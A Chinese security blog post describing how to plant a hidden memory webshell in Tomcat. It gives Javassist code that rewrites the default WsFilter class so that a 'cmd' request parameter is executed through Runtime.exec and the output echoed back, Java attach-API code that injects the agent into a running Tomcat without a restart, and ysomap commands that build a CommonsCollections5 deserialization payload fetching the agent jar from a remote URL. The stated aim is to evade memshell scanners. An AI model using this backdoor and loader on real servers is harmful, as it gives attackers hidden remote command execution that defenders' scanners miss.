瞒天过海计之Tomcat隐藏内存马

“备周则意怠;常见则不疑。阴在阳之内,不在阳之对。”

                                                  ----《三十六计·瞒天过海》

 

0x00 前言

关于这篇文章其实源自逛先知的一次经历,看到@4ra1n师傅写的一篇《从一个被Tomcat拒绝的漏洞到特殊内存马》,原文链接是:https://xz.aliyun.com/t/10577。看完之后顿时就提起了兴趣,4ra1n师傅在文章中指出该方法大致有两点问题:

  1. 需要替换依赖中的Jar包,并重写目标WsFilter类
  2. 替换好的依赖还需要重启Tomcat才能加载成功

因此在利用过程中会存在很大程度的限制,于是乎我就想有没有更好的办法能够降低利用所需的必备条件。

 

0x01 隐藏内存马原理

先来看一下4ra1n师傅提出的隐藏内存马,实质上就是替换Tomcat默认的WsFilter类。同时因为Memshell检测工具的原理实质上是发现是否有多余的Filter注册,而默认的情况下WsFilter是会存在的,因此达到瞒天过海的目的。

Memshell检测工具地址:https://github.com/c0ny1/java-memshell-scanner/blob/master/tomcat-memshell-scanner.jsp

 

再来看看修改WsFilter的doFilter方法后的内容

 

 

0x02 Javassist改写目标类

原理既然已经了解了,就开始寻找怎样能够降低利用成本,达到改写WsFilter的目的。
如果了解过Java字节码的伙伴应该就对javassist工具类不陌生了,这里我的想法就是通过javassist来修改目标WsFilter中的代码,并动态写入我的恶意后门代码。

private static final String HOOK_CLASS = "org.apache.tomcat.websocket.server.WsFilter";
try {
    ClassPool pool = ClassPool.getDefault();
    //ClassPool pool = new ClassPool(true);
    ClassClassPath classPath = new ClassClassPath(this.getClass());
    pool.insertClassPath(classPath);
    //将当前ClassLoader添加到ClassPath
    pool.appendClassPath(new LoaderClassPath(loader));
    pool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
    pool.appendSystemPath();         // the same class path as the default one.
    pool.childFirstLookup = true;
    CtClass ctClass = pool.get(HOOK_CLASS);

    CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter",new CtClass[]{pool.get("javax.servlet.ServletRequest"),pool.get("javax.servlet.ServletResponse"),pool.get("javax.servlet.FilterChain")});
    ctMethod.insertBefore("String cmd = $1.getParameter(\"cmd\");" + 
                          "        if (cmd != null && !cmd.equals(\"\")) {" + 
                          "            Process process = Runtime.getRuntime().exec(cmd);" + 
                          "            StringBuilder outStr = new StringBuilder();" + 
                          "            $2.getWriter().print(\"<pre>\");" + 
                          "            java.io.InputStreamReader resultReader = new java.io.InputStreamReader(process.getInputStream());" + 
                          "            java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);" + 
                          "            String s = null;" + 
                          "            while ((s = stdInput.readLine()) != null) {" + 
                          "                outStr.append(s + \"\\n\");" + 
                          "            }" + 
                          "            $2.getWriter().print(outStr.toString());" + 
                          "            $2.getWriter().print(\"</pre>\");" + 
                          "        }");
    System.out.println("Access In Method");
    return ctClass.toBytecode();
} catch (Throwable e) {
    System.out.println("Access In ExceptionCatch Method");
    e.printStackTrace();
}

 

打包的时候一定要使用assembly的方式把javassist的依赖也打包进jar包中

mvn clean assembly:assembly

之后会在target目录出现ProjectName-jar-with-dependencies.jar的文件,之后再Tomcat启动的时候用-javaagent:/tmp/ProjectName-jar-with-dependencies.jar的方式运行agent即可使用后门。

 

0x03 JVM API动态注入Agent

上述方式虽然已经可以动态改写WsFilter了,但是还需要重启Tomcat才能使JVM中携带-javaagent的方式运行,因此整个利用过程中最致命的问题还未解决。
为了解决这个办法,我想到了动态加载Agent的方式,也就是通过调用JVM的API来加载Agent到目标jvm进程中。但是jvm中默认是不加载这些API的,因此需要用URLClassLoader的方式将相关的API加载进jvm中,对应的路径就是Tools.jar

URL url1 = new URL("file:C:\\Program Files\\Java\\jdk1.8.0\\lib\\tools.jar");
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[] { url1 }, Thread.currentThread()
                        .getContextClassLoader());

 

再然后将需要用的类加载到Map中

Class<?> virtualMachine = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine");
classMap.put("com.sun.tools.attach.VirtualMachine", virtualMachine);
Class<?> hostIdentifier = urlClassLoader.loadClass("sun.jvmstat.monitor.HostIdentifier");
classMap.put("sun.jvmstat.monitor.HostIdentifier", hostIdentifier);
Class<?> monitorException = urlClassLoader.loadClass("sun.jvmstat.monitor.MonitorException");
classMap.put("sun.jvmstat.monitor.MonitorException", monitorException);
Class<?> monitoredHost = urlClassLoader.loadClass("sun.jvmstat.monitor.MonitoredHost");
classMap.put("sun.jvmstat.monitor.MonitoredHost", monitoredHost);
Class<?> monitoredVm = urlClassLoader.loadClass("sun.jvmstat.monitor.MonitoredVm");
classMap.put("sun.jvmstat.monitor.MonitoredVm", monitoredVm);
Class<?> monitoredVmUtil = urlClassLoader.loadClass("sun.jvmstat.monitor.MonitoredVmUtil");
classMap.put("sun.jvmstat.monitor.MonitoredVmUtil", monitoredVmUtil);
Class<?> vmIdentifier = urlClassLoader.loadClass("sun.jvmstat.monitor.VmIdentifier");
classMap.put("sun.jvmstat.monitor.VmIdentifier", vmIdentifier);

 

后续就只用通过反射来调用loadAgent来加载目标jar包,但是该jar包只允许本地的,因此需要通过远程下载的方式将jar包下载到临时目录,然后加载。

try {
    Object hostId = classMap.get("sun.jvmstat.monitor.HostIdentifier").getDeclaredConstructor(String.class).newInstance("localhost");
    Method getMonitoredHost = classMap.get("sun.jvmstat.monitor.MonitoredHost").getMethod("getMonitoredHost",classMap.get("sun.jvmstat.monitor.HostIdentifier"));
    Object mHost = getMonitoredHost.invoke(classMap.get("sun.jvmstat.monitor.MonitoredHost"),hostId);
    Method activeVms = classMap.get("sun.jvmstat.monitor.MonitoredHost").getMethod("activeVms");
    Set jvms = (Set) activeVms.invoke(mHost);
    for (Iterator j = jvms.iterator(); j.hasNext(); ) {
        int lvmid = ((Integer) j.next()).intValue();
        //System.out.println(String.valueOf(lvmid));
        try {
            String vmidString = "//" + lvmid + "?mode=r";
            Object id = classMap.get("sun.jvmstat.monitor.VmIdentifier").getDeclaredConstructor(String.class).newInstance(vmidString);
            Method getMonitoredVm = classMap.get("sun.jvmstat.monitor.MonitoredHost").getMethod("getMonitoredVm",classMap.get("sun.jvmstat.monitor.VmIdentifier"),int.class);
            Object vm = getMonitoredVm.invoke(mHost,id,0);
            Method mainClass = classMap.get("sun.jvmstat.monitor.MonitoredVmUtil").getMethod("mainClass",classMap.get("sun.jvmstat.monitor.MonitoredVm"),boolean.class);
            String mainName = (String) mainClass.invoke(classMap.get("sun.jvmstat.monitor.MonitoredVmUtil"),vm,false);
            if(mainName.equals("Bootstrap")) {
                Method attach = classMap.get("com.sun.tools.attach.VirtualMachine").getMethod("attach", String.class);
                Object vMachine = attach.invoke(classMap.get("com.sun.tools.attach.VirtualMachine"),String.valueOf(lvmid));
                Method loadAgent = classMap.get("com.sun.tools.attach.VirtualMachine").getMethod("loadAgent", String.class);
                loadAgent.invoke(vMachine,System.getProperty("java.io.tmpdir") + "TomcatAgent.jar");        //临时Agent的路径
                System.out.println("Load Agent Successful!");
            }
        }catch (Exception e) {
            e.printStackTrace();
        } finally {
        }
    }
} catch (IllegalAccessException e) {
    e.printStackTrace();
} catch (InvocationTargetException e) {
    e.printStackTrace();
} catch (NoSuchMethodException e) {
    e.printStackTrace();
} catch (InstantiationException e) {
    e.printStackTrace();
}

 

这样一来,就无需再重启Tomcat即可修改WsFilter的内容,达到降低利用的标准,但是又引出了新的问题出来:

  1. 因为要动态注入Agent到jvm中,因此需要调用JVM的API,也就是需要知道Tools.jar的绝对路径
  2. VirtualMachine.loadAgent()方法之能加载本地的jar,因此需要下载远程jar到本地再加载,因此需要目标机器能够出网。

 

0x04 YsoMap工具的Bullet编写

刚好前几天看到Skay表姐发布的YsoMap分析文章,就研究了一点点,并借此机会写一个新的Bullet利用模块,以达到通过反序列化漏洞的方式加载上述编写的Tomcat隐藏内存马。
这次编写共添加了两个Bullet,一个用于生成恶意agent的ClassWithTomcatConcealedMemShell类,并启动Http服务;另一个就是通过反序列化CC链来生成恶意的Payload的TransformerWithTomcatConcealedMemShellBullet类。
具体代码如下:

这里会调用getObject来生成jar包,并读取jar包的字节流到内存并返回

public static byte[] makeClassWithMemShell(String classname) throws Exception {
    ClassPool pool = new ClassPool(true);
    pool.appendClassPath(new ClassClassPath(AppRunStart.class));
    CtClass cc = pool.getCtClass(AppRunStart.class.getName());
    cc.setName(classname.replaceAll("/","."));
    return cc.toBytecode();
}

 

其中AppRunStart.class就是之前的反射调用JVM API加载agent的代码

 

再来看看运行该bullet之后的事情

 

同样的,再来看看反序列化生成CC链的bullet

 

必要的参数有以上四个,再来看看该bullet中的getObject方法的实现

这里其实就是调用对应类的(String,String)的构造方法,同时将远程的jarUrl地址和jdk下Tools.jar的绝对路径作为参数传入进去。

 

0x05 模拟攻击测试

将改写好的ysomap直接用mvn打包好运行(这里其实有个坑,打包好的ysomap不能运行在包含中文的目录下,因为我在生成恶意Agent的时候会把agent的模板作为资源文件放入到ysomap中了,因此中文路径下可能会造成中文编码从而找不到路径)
首先先调用生成恶意Agent的bullet

#java -jar ./ysomap.jar cli
#ysomap > use exploit SimpleHTTPServer
#ysomap > use payload EvilFileWrapper
#ysomap > use bullet ClassWithTomcatConcealedMemShell

 

设置好模块之后,就跟MSF的使用很相似了,设置对应的参数

 

按照要求设置完成对应的参数后运行run

 

之后访问http://127.0.0.1:2334/evil.jar就能访问到生成的恶意Agent
创建完后记得不要用clear清楚掉当前的session
直接用session c的方式创建一个新的session来生成CC链Payload

#ysomap >session c
#ysomap >use payload CommonsCollections5
#ysomap >use bullet TransformerWithTomcatConcealedMemShellBullet

#ysomap >set className org.test.evil.RunApp
#ysomap >set jarUrl http://127.0.0.1:2334/evil.jar
#ysomap >set jdkToolsPath "file:C:\\Program Files\\Java\\jdk1.8.0_181\\lib\\tools.jar"
#ysomap >set encoder base64
#ysomap >set output console

 

设置完后运行bullet得到payload如下:

运行tomcat后我这里就随便写个反序列化漏洞来执行payload

之后访问后门

 

 

0x06 后续

个人感觉是非常不错的一款反序列化利用工具,操作简便,可扩展性也很强,就是相关Wiki补充的还比较少,导致设置encoder和output参数时候只能通过手撕代码才能知道这两个参数。文章中的相关代码我已经联系wh1t3p1g师傅并提交pr了,感兴趣的小伙伴可以上GitHub上拉取下来自己编译一下。

0x07 Reference

[1].https://xz.aliyun.com/t/10577
[2].https://github.com/wh1t3p1g/ysomap
[3].https://github.com/c0ny1/java-memshell-scanner/blob/master/tomcat-memshell-scanner.jsp

 

posted @ 2022-03-12 07:19  admin-神风  阅读(805)  评论(0编辑  收藏  举报